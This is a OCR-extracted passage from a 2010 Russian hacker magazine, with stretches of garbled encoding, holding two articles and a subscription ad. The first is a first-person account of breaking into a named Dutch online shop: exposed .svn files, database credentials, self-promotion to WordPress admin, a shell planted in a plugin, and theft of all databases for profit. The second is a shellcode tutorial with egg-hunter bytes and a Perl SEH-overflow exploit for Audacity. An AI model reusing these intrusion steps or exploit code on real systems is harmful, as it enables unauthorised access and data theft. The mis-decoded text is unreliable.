ВЗЛОММаг icq 884888, http://snipper.ruÊÓÐÈÒÜ ÂÐÅÄÍÎ!Âçëîì ãîëëàíäñêîãî îíëàéí-ñìàðòøîïà«Õî÷ó â Àìñòåðäàì!» — ñ ýòîé ìûñëüþ ÿ çàëåç â Ãóãë â ïîèñêàõ î÷åðåäíîé æåðòâû.Ñðåäè ïåðâûõ ññûëîê ïî çàïðîñó «growshop» îêàçàëñÿ ìàãàçèí azarius.netñ õàðàêòåðíûìè çåëåíûìè ëèñòèêàìè èçâåñòíîãî ðàñòåíèÿ íà ãëàâíîé ñòðàíèöå.Íåìíîãî ïî÷èòàâ ñòðàíèöó «About Azarius», ÿ óçíàë, ÷òî äàííûé ñàéò — îäèíèç ïåðâûõ îíëàéí-ìàãàçèíîâ ïî ïðîäàæå ïñèõîàêòèâíûõ âåùåñòâ â èíòåðíåòå(ðàáîòàåò ñ 1999 ãîäà) ñ îãðîìíîé áàçîé ïîêóïàòåëåé è òîâàðîâ. Ïîýòîìó òûíå óäèâèøüñÿ òîìó, ÷òî íà îäíîì ïîâåðõíîñòíîì ïðîñìîòðå ñòðàíèö ÿ íå ñòàëîñòàíàâëèâàòüñÿ :).ÑÀÆÀÅÌ ÑÅÌÅÍÀИтак, первым делом я начал изучать структуру шопа, что, замечу,было делом не из приятных, так как использовался апачевский mod_rewrite, и все ссылки имели вид вроде «http://azarius.net/smartshop/psychedelics/». Поверхностный осмотр мне ничего не дал, гугл непоказал никаких интересных поддоменов и файлов, а из пабликдвижковбыли обнаружены последний WordPress (http://azarius.net/blog/), пропатченный phpBB версии 2.0.22 (http://azarius.net/forum/docs/CHANGELOG.html) и не очень-то уязвимый Piwik версии 0.5.5(http://piwik.azarius.net).Единственным доступным вариантом на тот момент оказался Piwik сего XSS в форме логина (ссылку на advisory ищи в сносках). Заморачиватьсяс XSS мне не очень хотелось, так как это долго и ненадежно,так что пришлось размышлять дальше над способом проникновения врастаманский рай.ÏÎËÈÂÀÅÌ È ÓÄÎÁÐßÅÌПрошло несколько дней. Совершенно случайно мне на глаза попалсястарый пост с Хабра об уязвимости множества крупных порталов,связанной с тем, что их .svn-исходники хранились в открытом доступепрямо на сервере. Вкратце поясню суть бага.Во-первых, SVN — это система контроля версий, которая являетсяпродвинутым средством для организации совместной работы десятковразработчиков.Во-вторых, SVN совершенно открыто хранит в каждой директориипроекта свои метафайлы, которые сложены в директорию «.svn». Вданной директории в файле «entries» находится список всех файлов идиректорий, которые расположены в той же самой папке, что и «.svn».Здесь же находится и информация о расположении репозитория, размерефайлов, дате их модификации и именах юзеров, работающих надпроектом.Суммируя вышеназванные факты, можно подвести нехитрый итог:если проект разрабатывался с помощью SVN, то, зайдя по адресувроде site.com/.svn/entries, ты сможешь увидеть файловую структурукорня сайта со всей перечисленной дополнительной информацией.В моем случае таким адресом оказался azarius.net/.svn/entries, гдесодержалась инфа вида2008-11-18T10:25:57.000000Zc581920ba2dad34f3e6841ac061d958c2007-11-16T11:06:53.860515Z935alexcategory.phpfile2008-11-18T10:25:57.000000Z7ce2e23ac9bc560edc2e79073fb630db062 XÀÊÅÐ 08 /139/ 10


Характерная главная страница смартшопа2007-01-04T16:03:07.477725Z138alexfind.phpfile2009-05-01T12:58:14.000000Zbeea2f728667240c14795d3c508a51442009-05-01T09:08:40.782967Z1307alexrecent.phpfileÑÎÁÈÐÀÅÌ ÓÐÎÆÀÉИтак, скачав к себе на винт исходники всех PHP-файловпроекта из категории «.svn/text-base/», я начал кропотливопарсить их на предмет уязвимостей.После очень долгих и нудных раскопок я понял, чтоazarius.net — действительно очень старый и крупныйпроек т, так как в исходниках не было даже намека набанальные инклуды, скуль-инъекции и иже с ними. Искатьчто-то извращенное и глубоко спрятанное было лень,поэтому я стал думать, как быть.Как оказалось, решение было крайне простым и лежалопрактически на поверхности :). На этот раз мне удалосьпродвинуться дальше во взломе с помощью чтенияконфига форума phpBB по адресу azarius.net/forum/.svn/text-base/common.php.svn-base:


ВЗЛОММой шелл на azarius.netВывести полный список сайтов помогла команда «cat ./*|grepServerName»:Таблица с пользователямиSELECT load_file('/etc/passwd')Здесь все оказалось не так просто, как с SVN и коннектом к базе— файловых привилегий не было вовсе. С заливкой шелла моглипоявиться проблемы, если бы админы шопа создали разных юзеровдля разных БД, но, как ты уже понял, у меня был доступ ко всембазам сразу, так что я потихоньку стал колдовать над своим любимымWordPress :).Итак, зарегавшись по адресу http://www.azarius.net/blog/wp-login.php?action=register и получив на свое мыло пароль от аккаунта, я полезв БД под названием wordpress.Наверняка ты знаешь, что привилегии пользователей блога хранятсяв табличке wp_usermeta в ключе под названием wp_capabilities. Подефолту каждый юзер имеет привилегии подписчика, то есть, фактически,не имеет никаких привилегий:a:1:{s:10:"subscriber";b:1;}Недолго думая, я сделал своего тестового юзера администратором,заменив данное значение на следующее:a:1:{s:13:"administrator";b:1;}Став админом, я зашел в админку блога по адресу http://azarius.net/blog/wp-admin прямиком в раздел редактирования плагинов. И наэтот раз мне снова повезло — плагины были доступны для редактирования,так что мне оставалось только записать свой шелл в плагин«Hello dolly» и активировать файл.Теперь мой шелл располагался по адресу http://azarius.net/blog/?azarius и с удовольствием открывал мне дальнейшие возможностидля изучения шопа :).ÊÓØÀÅÌТеперь меня заинтересовало следующее:1. Исходники магазина;2. Админка магазина;3. Сайты-соседи.С первым пунктом я успешно справился, слив PHP-исходники издиректории /var/www/html/azarius/public/, но, как ни странно, админкитам не было.Долго лазая по файлам и директориям шопа, я так и не нашел админку,так что пришлось довольствоваться полным доступом к БД иисходниками Азариуса.Далее я выполнил команду «locate httpd.conf» и зашел в директорию /etc/apache2/sharedconfig/sites-enabled/, где хранились конфиги всехсайтов текущего сервера.064affiliate.herbaldistribution.comblog.azarius.netconscious.nlconsciousdreams.nldatabase.azarius.netdropshipping.consciouswholesale.commiddleware.entheogenics.compimpyourbicycle.compiwik.azarius.netredir.vaposhop.comsecure.azarius.netstats.azarius.netwebman.azarius.netwebman.vaposhop.comwww.azarius.atwww.azarius.bewww.azarius.eswww.azarius.frwww.azarius.netwww.azarius.nlredir.azarius.nlwww.azarius.ptconsciouswholesale.comwww.crazy-t-shirts.comwww.cultofarcha.comwww.entheogenics.comgreenlabelseeds.comwww.mushxl.nlwww.shavita.netwww.shroomshaker.netsmartshop.nlwww.travellersgarden.comvaposhop.comwww.xtenzion.nlКак видишь, поддоменов у azarius.net оказалось гораздо больше, чемпоказал Гугл :). Так что, если захочешь повторить хак, это будет тебепищей для размышления.Все остальные сайты так или иначе все равно были связаны с травой,грибами и прочими интересными штуками, так что я быстренько забралвсе исходники, все базы, явки и пароли и просто ушел с сервера (ну, несовсем просто, а извлекать коммерческий успех из этого добра :).ÎÒÕÎÄÍßÊДаже если у истоков твоего коммерческого онлайн-проекта стоятграмотные кодеры и специалисты по безопасности, то все равносоветую опасаться банального человеческого фактора. В данномвзломе к заливке шелла и сливу базы пользователей привелинесколько случайностей, которые, словно кусочки паззла, сложилисьв адскую мозаику с нарисованным на ней листком марихуаны.Так что, админ, бди! zXÀÊÅÐ 08 /139/ 10


ВЗЛОМТюрин АлексейÈÄÅÌÍÀ ÏÀÑÕÀËÜÍÓÞÎÕÎÒÓÏîäðîáíîñòè egg hunt øåëëêîäà ïîñëåäíèõ íîìåðàõ ][ áûëà íàïèñàíà ñåðèÿ ñòàòåé ïî êîäèíãó æèâó÷èõ ñïëîéòîâñ èñïîëüçîâàíèåì ðàçíîîáðàçíûõ ìåòîäîâ îáõîäà ìåõàíèçìîâ çàùèòû â ïîñëåäíèõâåðñèÿõ Windows. ×òîáû òû áûë ïðîñâåùåí è ÷óâñòâîâàë ñåáÿ â ñïëîéòîñòîðîåíèèêàê ðûáà â áîðùå, ÿ ïîâåäàþ êîå-÷òî íà áëèçêóþ òåìó — øåëëêîäîïèñàíèå.À èìåííî: âíóòðåííîñòè è òåõíè÷åñêèå ïîäðîáíîñòè ìåòîäà/øåëëêîäà. Èìÿ åìó —Egg Hunting.×ÒÎ ÒÀÊÎÅ EGG HUNTING?По сути иггхантинг представляет собой небольшой по размерушеллкод, цель которого — найти в виртуальной памяти атакуемогопроцесса боевой шеллкод и передать ему управление процессом.Нахождение обеспечивается за счет уникальной последовательностисимволов, стоящих перед основным шеллкодом. Насамом деле, Egg Hunting — это один из классических методов,используемых в сплойтостроении/шеллкодописании. Используетсяон уже давно в тех или иных ситуациях. Лучшей работойпо данной теме считается статья такого известного человечкакак skape аж от 2003 года (hick.org/code/skape/papers/egghuntshellcode.pdf).À ÇÀ×ÅÌ ÎÍÎ ÍÀÌЕсли просто, то иггхантинг используют в ситуациях, когда основнойшеллкод не влезает в переполняемый буфер и/или неизвестно, где онразмещен в памяти. Если непонятно, то поймешь на примере. А еслис подробностями, то...Все мы просматриваем багтрэк, читаем описание уязвимостей, иногдазакладываем в PoC-сплойты. Большинство из них имеют начинку ввиде, например, запуска калькулятора или открытия TCP-порта. То жесамое относится и ко всякого рода статьям про сплойтостроение, гдесплойты применяются в лабораторных условиях, а начинка используетсятолько для того, чтобы показать, что все получилось.В реальной жизни, как ни странно, не все так просто, и функционалакалькулятора явно не хватает для того, чтобы и в систему въесться, иобойти всякие механизмы безопасности, не говоря уж об антивирусахи файерволах, и, к тому же, ограничениях на используемые символы.Конечно, во многом выручают staged-шеллкоды, где боевой шеллкодпопадает в память постепенно, по стадиям. М-м… в общем, иггхант —это подвид staged-шеллкода.К примеру, универсальный шеллкод назапуск калькулятора — всего 200 байт (а привязанный к конкретной ОСи ее адресам — всего 27 байт :)), на бинд — 341 байт. Если добавитьограничения на использование \x00\xff, что вполне обычно, получаем227 байт и 368 байт соответственно.Если предположить, что мы ограничены БУКВО-циферками: 534, 816.В общем, тут все понятно.Да и проcтой бинд порта — неинтересно. К примеру, шеллкод наустановку туннеля через DNS, о котором я писал в рубрике Easy Hack,весит аж за 1000 байт, и это в натуральном виде.Что же нам могут предложить эксплойты? Сколько могут вместить всебя начинки? По-разному. Очень.Это в лабораторных условиях при переполнении буфера мы получаембольшую, непрерывную, неизмененную область в стеке с полностьюконтролируемым EIP. Эх… Кстати, в MSF к каждому сплойту указываетсяразмер возможной начинки и запрещенные символы в раз-066 XÀÊÅÐ 08 /139/ 10


Результат переполненияПередача управления за счет перезаписи SEHв деледеле «Payload information». Например, ms08_067_netapi — 400 байт,trendmicro_serverprotect — 800 байт, а размер сплойтов на ActiveX неограничен,так как боевой шеллкод в куче. Как видишь, далеко не всесплойты могут вместить в себя все, что хотелось бы. Что же делать?Все зависит от ситуации, но иногда нам помогает техника иггхантинга.Иногда — это когда основной шеллкод есть еще где-то в виртуальномадресном пространстве процесса. Как его запихнуть туда? Всезависит от ПО. Например, для IE 6/7, извращаясь с ява-скриптом, мыможем запихнуть основной шелл в кучу или, для imap-сервера MercurMessaging — последовательной отправкой imap-запросов.ÍÎÂÀß ÆÈÇÍÜ ÈÃÃÕÀÍÒÈÍÃÀНе совсем новая, но... жизнь ведь не стоит на месте, и семейство ОСWindows обзавелось такими страшными словами как ASLR, SafeSEH,DEP, GS и т.д. Что это для нас значит? Писать сплойты, особенноуниверсальные, стало гораздо, гораздо труднее. Но, конечно, не невозможно.Раз разработчики используют комплексные меры по защите,мы используем комплексные меры по взлому :). Отличным примеромздесь является jit-spay шеллкод под IE8, FF3.6 с обходом DEP, ASLR(exploit-db.com/exploits/13649/), написанный Алексеем Синцовым. Вэтом сплойте он использовал иггхантинг в jit-спрее почти единственномдоступном куске в памяти, которая исполняема. Возможности запихнутьв спрей основной шеллкод не было из-за всевозможных ограничений.ÒÅÎÐÈßЧто собой представляет иггхантинг-шеллкод и требования к нему?В общем-то, иггхантгинг-шеллкод — это шеллкод минимального размера,который может быстро найти в вируальном адресном пространствепроцесса основной шеллкод и передать ему управление. Иггхантингнаходит основную начинку по последовательности символов, стоящихперед ней. Это так называемый tag или egg, потому и egg hunting. Само«яйцо» — уникальная четырехбайтовая последовательность символов,которая повторяется дважды. Дважды, чтобы избежать коллизий, тоесть неверных обнаружений иггхантером. К тому же, что это за боевойшеллкод, если у него или одно яйцо, или совсем их нету :).Основная «трудность» для иггхантера в том, что не все виртуальноеадресное пространство процесса выделено («существует»). То естьсуществуют невыделенные страницы памяти, попытка обратиться ккоторым вызовет ошибку access violation, и программа тупо вылетит.Во-вторых, начинка находится неизвестно где, поэтому доступныестраницы приходится побайтово перебирать. Существует три (с половиной)основных техники организации иггхантинга под семействоWindows. Общий алгоритм у них похож: иггхантер проверяет адресапамяти на возможность доступа и, при положительном результате,побайтово сравнивает память для поиска тега. Разница заключается вреализации.NTDISPLAYSTRING / NTACCESSCHECKANDAUDITALARMЭто основная (с половиной :)) техника. Она заключается в использованиисистемного вызова(system call) NtDisplayString для проверкидоступа к странице памяти. Вид вызова:NTSYSAPI NTSTATUS NTAPI NtDisplayString(IN PUNICODE_STRING String);Вообще, вызов производится за счет прерывания: в EAX указывается,какой вызов произвести, а в остальных регистрах — аргументы к нему.В данном случае адрес, к которому мы пытаемся получить доступ,лежит в регистре EDX. Ответ функции попадает в EAX и равен0xc0000005, если доступ к странице вызовет Access Violation. Для побайтовогосравнения используется оператор scads, который оперируетс нашим тэгом (egg) в EAX и адресом из EDI.Общий вид шеллкода и его подробное описание:00000000 6681CAFF0F or dx,0xfff00000005 42 inc edx00000006 52 push edx00000007 6A43 push byte +0x4300000009 58 pop eax0000000A CD2Eint 0x2e0000000C 3C05cmp al,0x50000000E 5Apop edx0000000F 74EFjz 0x000000011 B890509050 mov eax,0x7730307400000016 8BFA mov edi,edx00000018 AF scasd00000019 75EA jnz 0x50000001B AFscasd0000001C 75E7jnz 0x50000001E FFE7jmp ediИтак, первые две строчки выравнивают EDX под начало страницыпамяти. Размер минимальной страницы равен 1000h в x86, поэтому мыпроверяем адрес, и, если его нет, переходим к следующей странице.Таким образом, сначала мы меняем последние три байта EBX на FFF,а потом инкриминируем, что в итоге дает нам выравнивание по 1000h.После, при джампах, мы увеличиваем значение EDX либо на 1h(см.строки 00000019, 0000001C), либо до следующей страницы, то есть на1000h (см. 0000000F).Далее мы кладем EDX в стек, чтобы сохранить значение, так как регистрыменяют свои значения при вызове функции.Следующие две команды перемещают в EAX 0x43h. Этим мы указываем,что надо запустить именно функцию NtDisplayString. int 2eделает системный вызов. Результат, как уже говорилось, попадает вEAX. Его младшие байты мы сравниваем с 0x5 и при положительномXÀÊÅÐ 08 /139/ 10 067


ВЗЛОМИщем наш шеллкод и изменения в немEgghunter в действиирезультате (то есть, access violation) прыгаем в начало шеллкода дляперехода на следующую страницу. Перед этим, конечно, вынимаемEDX из стека.Далее идет побайтовое сравнение. Здесь 0x77303074 — это тэг (можетбыть «любой», тут — «w00t»), который должен находиться перед основнымшеллкодом. Его мы помещаем в EAX, а в EDI помещаем адресиз EDX. SCASD сравнивает значение из EAX c тем, что находится поадресу в EDI. В случае неудачи мы перемещаемся обратно на вторуюстрочку шеллкода, где значение EDX увеличивается на единицу, аостальное повторяется заново.Повторное использование SCASD требуется, чтобы еще раз найти тэгсразу после первого. При использовании оператора SCASD указательна память в EDI сдвигается, поэтому мы сразу прыгаем в начало нашегоосновного шеллкода, используя jmp edi.Почему же я упомянул какую-то половинку в паре абзацеввыше? Да это к тому, что вместо описанной skape’ом функцииNtDisplayString можно использовать более позднюю придумку —NtAccessCheckAndAuditAlarm. Фактически разница в коде будет лишьв номере вызываемой функции.Вместо для NtDisplayString:00000007 6A43 push byte +0x43Должно быть для NtAccessCheckAndAuditAlarm:00000007 6A02 push byte +0x2Бонус от использования NtAccessCheckAndAuditAlarm в «постоянстве».Смещение(0x43h), которое используется для вызова системнойфункции для NtDisplayString вроде как меняется в последних версияхОС.ISBADREADPTRЭта техника использует стандартную API-функцию для проверки доступак виртуальной памяти.Вид функции следующий:BOOL IsBadReadPtr(const VOID* lp,UINT_PTR ucb);То есть, нам требуется при вызове функции данные передавать черезстек.Логика работы этой техники аналогична предыдущей, поэтому лишькратко пробегусь по коду.06800000000 33DB xor ebx,ebx00000002 6681CBFF0F or bx,0xfff00000007 43 inc ebx00000008 6A08 push byte +0x80000000A 53push ebx0000000B B80D5BE777 mov eax,0x77e75b0d00000010 FFD0 call eax00000012 85C0 test eax,eax00000014 75EC jnz 0x200000016 B890509050 mov eax, 0x773030740000001B 8BFBmov edi,ebx0000001D AFscasd0000001E 75E7jnz 0x700000020 AF scasd00000021 75E4 jnz 0x700000023 FFE7 jmp ediПервые три строчки — выравнивание EBX под размер страницы ипобайтовый проход по доступной памяти. Далее складываем аргументык функции, где 0x8h — ucb-аргумент, а EBX — проверяемыйадрес в памяти. В EAX запихиваем адрес IsBadReadPtr в виртуальнойпамяти процесса. Это самый большой недостаток данной техники,так как положение функции будет меняться в зависимости отверсии, сервис-пака, языка системы, не говоря уж о рандомизациипространства. Если значение в EAX не равно нулю, то происходитпереход к следующей странице памяти. Остальная часть кода аналогичнапредыдущей технике.Последняя техника основывается на использовании SEH, но я тебе оней не расскажу, так как и получаемый иггхантер большой по размеру(60 байт), и, главное, начиная с XP SP2 для ее эксплуатации приходитсяобходить защиту SEH'а, что делает ее в большинстве случаев неюзабельной.ÅÙÅ ÏÀÐÀ ÌÎÌÅÍÒÎÂИспользованием сдвоенного тэга (яйца) обусловлено еще и тем, чтоиггхантинг может найти сам себя (тэг в своем теле) до нахождениятэга, стоящего перед основным шеллкодом, и передать туда управление,что нам не требуется.Так как мы используем SCASD, то необходимо отслеживать, чтобыфлаг направления (D) был сброшен, иначе поиск будет происходитьв обратном направлении, что приведет к неправильнойработе иггхантера и вылету процесса. Но такое бывает оченьредко и исправляется добавлением команды сброса флага направления— CDL.XÀÊÅÐ 08 /139/ 10


Описание:access violation по адресу 41414141. Смотрим — переполнение несамое удобное: EIP не перезаписали, адрес возврата тоже. Доступенлишь ESI, искаженно — регистр ECX. Стек кусочково загаженнашими А (см. выше и ниже). Зато перезаписали SEH (View - SEHchain). С нововведениями в винду защита исключений поднялась вразы, но для примера оно сойдет. Чудесно. Так, узнаем подробности,используя плагин к pvefindaddr.Создаем паттерн:!pvefindaddr pattern_create 2000Адреса для возврата в стекПоиск иггхантер производит по кругу, то есть после конца адресногопространства процесса он переходит в начало. Таким образом, еслииггхантер не найдет тэг перед основным шеллкодом, то процессконкретно зависнет в бесконечном цикле, забирая при этом 100%произ водительности проца.Кстати, в Linux-системах иггхантинг юзается ничем не хуже, чем подWindows, и алгоритм аналогичен первому, разве что системные вызовыдругие, да регистры. Подробнее можешь почитать в той же статьеот skape.ÏÐÀÊÒÈ×ÅÑÊÀß ×ÀÑÒÜ. ÏÐÈÌÅÐ.Коли мы уже определились в необходимости иггхантинга как метода,давай опробуем его и некоторые его возможности на практике.Признаюсь что пример — лабораторный, но чрезвычайно показательный,а главное — доступный, но об этом — после.Для опытов мы воспользуемся звуковым редактором Audacity. Версияс переполнением — 1.2.6. Взять можно либо с offensive-security.com/archive/audacity-win-1.2.6.exe, либо с диска. Чтобы не повторяться— на диске есть все, о чем написано в данной статье, от ПО до всехвариантов эксплойтогенерилки.Инструментарий для препарирования — будем пользоваться ImmunityDebugger’ом c аддоном pvefindaddr от corelanc0d3r'а (от котором яписал в прошлом номере). Взять отсюда — immunityinc.com/productsimmdbg.shtml,либо отсюда — corelan.be:8800/index.php/security/pvefindaddr-py-immunity-debugger-pycommand/ .Для того, чтобы pvefindaddr заработал, пихай его в коробку с гвоздями.То есть в PyCommands.Сам эксплойт будет создаваться посредством Perl’а, так что под Win —ActivePerl с activestate.com/activeperl. Личное пристрастие…Итак, к делу. Переполнение буфера возникает при импорте специальносформированного MIDI-файла в программе. Создаем файл с AAAAAв 2000 байт.#!/usr/bin/perl$junk = "\x41" x 2000 ; #Áóêâà À 2ê ðàç$sploit = $junk;#Èòîãîâûé ñïëîéòopen(FILE, ">test.gro") or die "Cannot open file: $!";#Îòêðûâàåì ôàéë íà çàïèñüprint FILE $sploit; #Ïèøåì òåêñòclose(FILE); #Çàêðûâàåìprint "test.gro has been created \n";Длиннющую строчку, полученную из окошка лога(l) или из файлаmspattern.txt в папке Immunity Debugger’а, пихаем в переменную$junk. Пересоздаем test.gro и перезапускаем эдитор в дебаггере(ctrl+F2).Смотрим итог, используя функцию suggest, которая ищет в памятипервые 8 байт паттерна и выдает адреса, а также указывает, на чтомы можем воздействовать (регистры, SEH и т.д.), и какое необходимосмещение.!pvefindaddr suggestМожно узнать смещение и для конкретной части паттерна.К примеру, при переполнении SEH перезаписался значением67413966, тогда смещение узнаем так:!pvefindaddr pattern_offset 67413966Не буду вдаваться в подробности описания техники перезаписиSEH, но напомню основные моменты. SEH-запись в стекесостоит из двух 4-байтных адресов. Один из них — указатель наследующий обработчик исключений (nextSEH), если данный несработает, а второй — указатель на сам код, обрабатывающийисключение. При возникновении исключения программа переходитпо этому адресу. Но, так как нам нужно передать управлениена стек, то мы находим где-то в памяти последовательностьинструкции pop, pop, ret, тем самым избавляемся от лишнихданных в стеке, появившихся после перехода на обработчик, ивозвращаемся в стек. Так как nextSEH расположен на вершинестека, то нам нужно перепрыгнуть запись об обработчике исключения,что мы делаем, используя конструкцию \xeb\x06\x90\x90. Первые два байта — джамп вперед на 6 байт (2 байта \x90(NOP) и 4 байта адреса на SEH), то есть, за обработчик на нашшеллкод.Надеюсь, что понятное объяснение получилось, если что — смотримрисунок :).Итак, SEH находится на 178 байте, next SEH — 174. Чудесно.Для того, чтобы найти необходимую последовательность «pop popret», воспользуемся плагином еще раз. Для этого в нем есть несколькофункций. Без параметров он ищет в памяти процесса данную последовательностьсо всеми регистрами. По функции «p» — поиск происходиттолько для библиотек скомпилированных без safeSEH, по «p1»— без safeSEH и ASLR, «р2» — по всем. Итог смотри на скриншоте.!pvefindaddr pОткрываем Audacity в дебаггере и запускаем его (F9). Импортируемв звуковой редактор (Проект-Импорт MIDI). И видим в дебаггереXÀÊÅÐ 08 /139/ 10Полученный адрес, как ты понимаешь, будет у всех разный, так какзависит он от версии, пака ОС. Так что подбери какой-нибудь.069


ВЗЛОМРазбор переполнения плагином pvefindaddrДействие сплойтов, перезаписывающих SEH-записи$junk = "\x41"x174; # ìóñîð â íà÷àëå$jumpNextSEH = "\xeb\x06\x90\x90"; # äæàìï íà 6 áàéòâïåðåä$SEH = pack ("V",0x013e5423); # ïàêóåì ïåðåõîä íà poppop ret$shell = "\x42"x200"; # òóò áóäåò øåëëêîä, à ïîêàáóêâà B 200 ðàç$sploit = $junk.$jumpNextSEH.$SEH.$shell;…Генерим, импортируем. На ошибке проверим полученный SEH-адрес:1. View — SEH chain;2. Ïðàâîé êíîïêîé íà íàøåì àäðåñå — Follow hadler.Должна быть запись pop, pop, ret. Если так, то ставим на первом pop'ебрэйкпоинт — F2 (либо сразу в окне SEH chain). Shift+F9, чтобы продолжитьвыполнение программы.Программа должна остановиться на pop. Теперь пошагово (F7) доходимдо ret и возвращаемся на NextSEH, он же — джамп на 6 байт.Далее наш шеллкод — много «B».Теперь смотрим, хотя наш псевдошеллкод и на месте, но размер его— никак не 200 байт. Там всего 72 байта. Мало. Если посмотреть вышеи ниже по стеку, то мы также найдем куски сплойта. Можно, конечно,заморочиться и собрать... но ближе к иггханту.Подставим какой-нибудь реальный шеллкод в сплойт и поищем его впамяти процесса.Отдельно сохраняем шеллкод, перезапускаем эксплойт и ищем вдебаггере:#!/usr/bin/perl$shell="\xeb\x03…..\x5a"; # êàêîé-òî øåëëêîäopen(FILE, ">shell") or die "Cannot open file: $!";print FILE $shell;close(FILE);!pvefindaddr compare c:\egg\shellПоявится окошко, где перечислены все участки в памяти процессас нашим шеллкодом и отметкой, изменено ли в них что-то.В логе указывается, что именно изменилось. Это бывает полезнодля вычисления бажных символов. В нашем сплойте получаетсятри варианта, обрезанных с 73 символа, и один нормальный. Номесто его меняется при перезапуске проги, и регистры на него нессылаются, то есть по-простому на него не перейти. Потому используемиггхант-шеллкод в этих 72 байтах, который и основнойкод найдет, и управление ему передаст. Добавляем:070# ßéöî ïåðåä îñíîâíûì øåëëêîäîì$tag="\x77\x30\x30\x74";# NtAccessCheck õàíòåð ñ ÿéöîì â òåëå$egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" . $tag . "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";# Ñäâèãàåì îñíîâíîé øåëëêîä èç ñòåêà$junk2="\x90"x50;# Êó÷êóåì èòîã$sploit = $junk.$jumpNextSEH.$SEH.$egghunter.$junk2.$tag.$tag.$shell;$junk2 требуется, так как иггхантер меньше доступного буфера в 73байта, потому мы должны сдвинуть основной шеллкод, чтобы егоначальные куски (тэги) не были раскиданы по памяти, и не произошлоложное нахождение. В общем-то, все. Управление передаетсячерез SEH, иггхантер ищет основной код и передает ему контроль.Юзая данный пример, можно хорошенько проследить за поведениемхантера и увидеть то, что было описано в теоретической части данногоэпоса. Например, обнулить EDX(\x33\xD2) в начале и посмотреть наскорость нахождения основного шеллкода. Кстати, работу иггхантаможно увидеть по возрастанию количества «ошибок страниц» в Диспетчерезадач.Но оставлю это на личную инициативу. Хотя вот пара ссылок:Пример от corelanc0d3r'а: corelan.be:8800/index.php/2010/01/09/exploitwriting-tutorial-part-8-win32-egg-hunting/.Пример иггхантера в MSF: offensive-security.com/metasploitunleashed/и иггхантер-шеллкод с поиском только по куче: r00tin.blogspot.com/2009/03/heap-only-egg-hunter.htmlÒÈÏÀ, ÇÀÊËÞ×ÅÍÈÅИггхантинг — крутой метод. Это точно. И простой, и рабочий.Приведенный пример, конечно, не жизненный, поэтому хочу привестипару иных примеров. Они, к сожалению, для изысканий недоступны,так как являются платными продуктами, зато это прибавляет крутостиметоду. К примеру, «Mercur Messaging 2005» IMAP-сервер.Имеет переполнение буфера в обработке командыSUBSCRIBE(CVE-ID: 2007-1579). В стандартном эксплойте доступно224 байта для payload’а. С использованием техники иггхантинга,мы можем предварительно послать более вместительнуюкоманду LIST с основным шеллкодом, а это уже 2 Кб. Или McAfeeePolicy Orchestrator 3.5.0. Переполнение дает 140 байт, а с иггхантером— неограничено.В общем-то ясно, что многие эксплойты можно улучшить, если применитьк ним данный метод. Так что радуемся новым знаниям и спешимпроверить их на практике :). zXÀÊÅÐ 08 /139/ 10


ÂÛÃÎÄÀ•ÃÀÐÀÍÒÈß•ÑÅÐÂÈÑ ÝÒÎ ËÅÃÊÎ!1. Разборчиво заполни подписной купон иÁÓÄÜ ÓÌÍÛÌ!ÕÂÀÒÈÒ ÏÅÐÅÏËÀ×ÈÂÀÒÜ Â ÊÈÎÑÊÀÕ!ÏÎÊÓÏÀÉ ÆÓÐÍÀË Â 3 ÐÀÇÀ ÄÅØÅÂËÅ!Çàìó÷èëñÿ èñêàòü æóðíàë â ïàëàòêàõ è ìàãàçèíàõ?Íå õî÷åøü òðàòèòü íà ýòî âðåìÿ? Íåíàäî. Ìû ñàìè ïîòðàòèì âðåìÿè ïðèâåçåì òåáå íîâûé âûïóñê Õ.Äëÿ æèòåëåé Ìîñêâû (â ïðåäåëàõ ÌÊÀÄ)äîñòàâêà ìîæåò îñóùåñòâëÿòüñÿáåñïëàòíî ñ êóðüåðîì èç ðóê â ðóêèâ òå÷åíèå òðåõ ðàáî÷èõ äíåé ñ ìîìåíòàâûõîäà íîìåðà íà àäðåñ îôèñà èëèíà äîìàøíèé àäðåñ.Еще один удобный способ оплатыподписки на твое любимое издание — в любомиз 72 000 платежных терминалах QIWI (КИВИ)по всей России.ÅÑÒÜ ÂÎÏÐÎÑÛ? Звони по бесплатным телефонам8(495)780-88-29 (для москвичей) и 8(800)200-3-999 (для жителей других регионов России,абонентов сетей МТС, БиЛайн и Мегафон).ÂÎÏÐÎÑÛ, ÇÀÌÅ×ÀÍÈß È ÏÐÅÄËÎÆÅÍÈß ÏÎ ÏÎÄÏÈÑÊÅ ÍÀÆÓÐÍÀË ÏÐÎÑÈÌ ÏÐÈÑÛËÀÒÜ ÍÀ ÀÄÐÅÑ info@glc.ru8.5 ÃáDVDÏÎÄÏÈÑÊÀÍÀ 6 ÌÅÑßÖÅÂÏÎ ÖÅÍÅ540 ðóá.квитанцию, вырезав их из журнала, сделавксерокопию или распечатав с сайтаshop.glc.ru.2. Оплати подписку через любой банк.3. Вышли в редакцию копию подписных документов— купона и квитанции — любым изнижеперечисленных способов:• ïî ýëåêòðîííîé ïî÷òå subscribe@glc.ru;• ïî ôàêñó 8 (495) 780-88-24;• ïî àäðåñó 119021, Ìîñêâà,óë. Òèìóðà Ôðóíçå, ä. 11, ñòð. 44,ÎÎÎ «Ãåéì Ëýíä», îòäåë ïîäïèñêè.ÂÍÈÌÀÍÈÅ!Подпиcка оформляетсяв день обработки купона и квитанциис номера, выходящего через одинкалендарный месяц после оплаты.Например, если произвести оплату в июле,то подписку можно оформить с сентябряÑÒÎÈÌÎÑÒÜ ÇÀÊÀÇÀ Ñ ÄÎÑÒÀÂÊÎÉ:2200 ÐÓÁ. ÇÀ 12 ÌÅÑßÖÅÂ, 1260 ÐÓÁ. ÇÀ 6 ÌÅÑßÖÅÂЕдиная цена по всей России. Доставка за счет издателя, в томчисле курьером по Москве в пределах МКАДÑÒÎÈÌÎÑÒÜ ÇÀÊÀÇÀ ÁÅÇ ÄÎÑÒÀÂÊÈ, с получением журнала самостоятельнов Москве в точке продаж R-kiosk рядом с метроБелорусская‚ ул.Грузинский вал‚ д.27-31:540.00 ÐÓÁ. ÇÀ 6 ÌÅÑßÖÅÂ!Получить журнал можно будет у продавца с предъявлением паспортана имя оформившего подписку, в течение недели, начинаясо следующего дня, после выхода журнала.


